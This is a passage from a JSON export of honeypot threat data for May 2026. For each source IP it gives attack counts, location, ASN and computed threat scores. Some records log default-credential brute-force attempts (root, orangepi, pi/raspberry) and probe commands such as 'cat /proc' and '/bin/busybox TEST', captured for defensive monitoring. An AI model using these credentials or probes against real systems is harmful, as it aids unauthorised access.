      "last_seen": "2026-05-19T17:46:00.502Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Budapest",
      "asn": 5483,
      "as_org": "Magyar Telekom Plc.",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:42:19.158000+00:00",
        "last_seen_30d": "2026-05-19T17:47:06.112000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "132.148.30.167": {
      "attack_count": 54,
      "first_seen": "2026-05-02T20:15:48.272Z",
      "last_seen": "2026-05-14T00:03:25.872Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:15:48.272000+00:00",
        "last_seen_30d": "2026-05-14T00:24:02.801000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Cowrie": 54
      }
    },
    "103.244.172.161": {
      "attack_count": 50,
      "first_seen": "2026-05-21T11:55:08.991Z",
      "last_seen": "2026-05-21T12:00:33.401Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:55:08.991000+00:00",
        "last_seen_30d": "2026-05-21T12:01:41.853000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "117.63.21.240": {
      "attack_count": 40,
      "first_seen": "2026-05-22T09:53:36.624Z",
      "last_seen": "2026-05-22T12:01:58.367Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:53:36.624000+00:00",
        "last_seen_30d": "2026-05-22T12:03:05.749000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "14.103.107.234": {
      "attack_count": 37,
      "first_seen": "2026-05-22T16:55:36.968Z",
      "last_seen": "2026-05-22T17:56:29.806Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "frontend",
        "root"
      ],
      "passwords_attempted": [
        "77777777",
        "frontend"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:55:36.968000+00:00",
        "last_seen_30d": "2026-05-22T18:07:33.652000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 28
      }
    },
    "185.135.157.99": {
      "attack_count": 36,
      "first_seen": "2026-05-05T00:28:37.359Z",
      "last_seen": "2026-05-31T23:04:32.920Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 211484,
      "as_org": "Ysz Trading Co., Limited",
      "threat_score": 50.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:28:37.359000+00:00",
        "last_seen_30d": "2026-05-31T23:05:41.556000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "197.158.0.177": {
      "attack_count": 32,
      "first_seen": "2026-05-19T02:31:56.647Z",
      "last_seen": "2026-05-19T06:17:03.215Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": "Maputo",
      "asn": 30619,
      "as_org": "TMCEL-Mocambique",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:31:56.647000+00:00",
        "last_seen_30d": "2026-05-19T06:18:07.407000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "36.103.204.54": {
      "attack_count": 21,
      "first_seen": "2026-05-28T12:20:10.064Z",
      "last_seen": "2026-05-28T12:23:22.103Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 134761,
      "as_org": "CHINANET NINGXIA province ZHONGWEI IDC network",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T08:44:15+00:00",
        "last_seen_30d": "2026-05-28T12:24:26.273000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "103.69.85.19": {
      "attack_count": 20,
      "first_seen": "2026-05-16T05:29:25.931Z",
      "last_seen": "2026-05-16T05:33:49.387Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150884,
      "as_org": "ANZIX Joint Stock Company",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T05:29:25.931000+00:00",
        "last_seen_30d": "2026-05-16T05:34:51.171000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "2.27.62.118": {
      "attack_count": 20,
      "first_seen": "2026-05-23T05:36:41.801Z",
      "last_seen": "2026-05-23T05:38:34.926Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 200051,
      "as_org": "Rizki Abdul Azis",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:36:41.801000+00:00",
        "last_seen_30d": "2026-05-23T05:39:40.309000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "204.197.163.47": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:46:04.387Z",
      "last_seen": "2026-05-27T09:19:08.544Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 398493,
      "as_org": "System In Place",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:46:04.387000+00:00",
        "last_seen_30d": "2026-05-27T09:20:11.207000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "45.156.87.239": {
      "attack_count": 15,
      "first_seen": "2026-05-25T11:47:16.359Z",
      "last_seen": "2026-05-25T11:47:22.432Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:47:16.359000+00:00",
        "last_seen_30d": "2026-05-25T11:48:52.201000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 4
      }
    },
    "65.49.1.108": {
      "attack_count": 13,
      "first_seen": "2026-05-16T14:35:43.623Z",
      "last_seen": "2026-05-30T14:28:11.946Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:43:14+00:00",
        "last_seen_30d": "2026-05-31T15:10:55.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 225,
        "Honeytrap": 102,
        "Miniprint": 16,
        "Ciscoasa": 13,
        "Cowrie": 13,
        "H0neytr4p": 7,
        "Dionaea": 5,
        "ConPot": 2
      }
    },
    "153.67.107.72": {
      "attack_count": 12,
      "first_seen": "2026-05-19T09:22:58.883Z",
      "last_seen": "2026-05-20T03:37:42.059Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:22:58.883000+00:00",
        "last_seen_30d": "2026-05-20T03:48:36.357000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8
      }
    },
    "175.165.83.82": {
      "attack_count": 12,
      "first_seen": "2026-05-30T18:10:09.521Z",
      "last_seen": "2026-05-30T18:11:11.976Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T18:10:09.521000+00:00",
        "last_seen_30d": "2026-05-30T18:12:21.278000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "31.210.171.155": {
      "attack_count": 12,
      "first_seen": "2026-05-08T13:24:43.965Z",
      "last_seen": "2026-05-09T16:17:38.581Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 207728,
      "as_org": "EUROHOSTER Ltd.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:24:43.965000+00:00",
        "last_seen_30d": "2026-05-09T16:18:49.158000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.139.76.236": {
      "attack_count": 12,
      "first_seen": "2026-05-14T17:28:50.757Z",
      "last_seen": "2026-05-15T05:48:39.832Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T17:28:50.757000+00:00",
        "last_seen_30d": "2026-05-15T05:49:46.630000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "181.205.14.114": {
      "attack_count": 10,
      "first_seen": "2026-05-15T05:01:58.855Z",
      "last_seen": "2026-05-15T05:02:02.044Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 27831,
      "as_org": "Colombia Movil",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:01:58.855000+00:00",
        "last_seen_30d": "2026-05-15T05:03:09.906000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "66.132.195.43": {
      "attack_count": 10,
      "first_seen": "2026-05-05T08:38:52.228Z",
      "last_seen": "2026-05-10T16:40:21.480Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T07:36:28.309000+00:00",
        "last_seen_30d": "2026-05-31T00:37:42.034000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 41,
        "Cowrie": 10,
        "Ciscoasa": 6,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "177.39.122.214": {
      "attack_count": 8,
      "first_seen": "2026-05-21T13:18:51.095Z",
      "last_seen": "2026-05-22T17:22:06.209Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 52765,
      "as_org": "MAXXNET TELECOM",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:18:51.095000+00:00",
        "last_seen_30d": "2026-05-22T17:23:07.210000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "70.32.86.195": {
      "attack_count": 8,
      "first_seen": "2026-05-06T07:43:35.911Z",
      "last_seen": "2026-05-06T08:52:07.813Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:43:35.911000+00:00",
        "last_seen_30d": "2026-05-06T08:53:17.724000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "18.225.235.49": {
      "attack_count": 7,
      "first_seen": "2026-05-25T13:50:55.592Z",
      "last_seen": "2026-05-25T13:54:46.913Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T11:17:38+00:00",
        "last_seen_30d": "2026-05-25T15:24:08.288000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 62,
        "Cowrie": 7
      }
    },
    "205.210.31.240": {
      "attack_count": 6,
      "first_seen": "2026-05-20T16:22:36.521Z",
      "last_seen": "2026-05-24T19:21:21.206Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T04:15:27.995000+00:00",
        "last_seen_30d": "2026-05-31T03:01:08.439000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 23,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "223.233.82.140": {
      "attack_count": 6,
      "first_seen": "2026-05-12T15:40:39.300Z",
      "last_seen": "2026-05-12T15:42:48.885Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:40:39.300000+00:00",
        "last_seen_30d": "2026-05-12T15:53:37.528000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "59.58.72.41": {
      "attack_count": 6,
      "first_seen": "2026-05-22T22:48:58.166Z",
      "last_seen": "2026-05-23T05:40:11.213Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:48:58.166000+00:00",
        "last_seen_30d": "2026-05-23T05:41:15.870000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.195.94": {
      "attack_count": 6,
      "first_seen": "2026-05-19T00:31:46.698Z",
      "last_seen": "2026-05-19T00:32:31.844Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 27,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T12:14:17+00:00",
        "last_seen_30d": "2026-05-29T17:09:15.110000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 33,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Honeyaml": 4,
        "Tanner": 3
      }
    },
    "92.63.197.22": {
      "attack_count": 6,
      "first_seen": "2026-05-25T09:58:48.868Z",
      "last_seen": "2026-05-25T09:58:49.546Z",
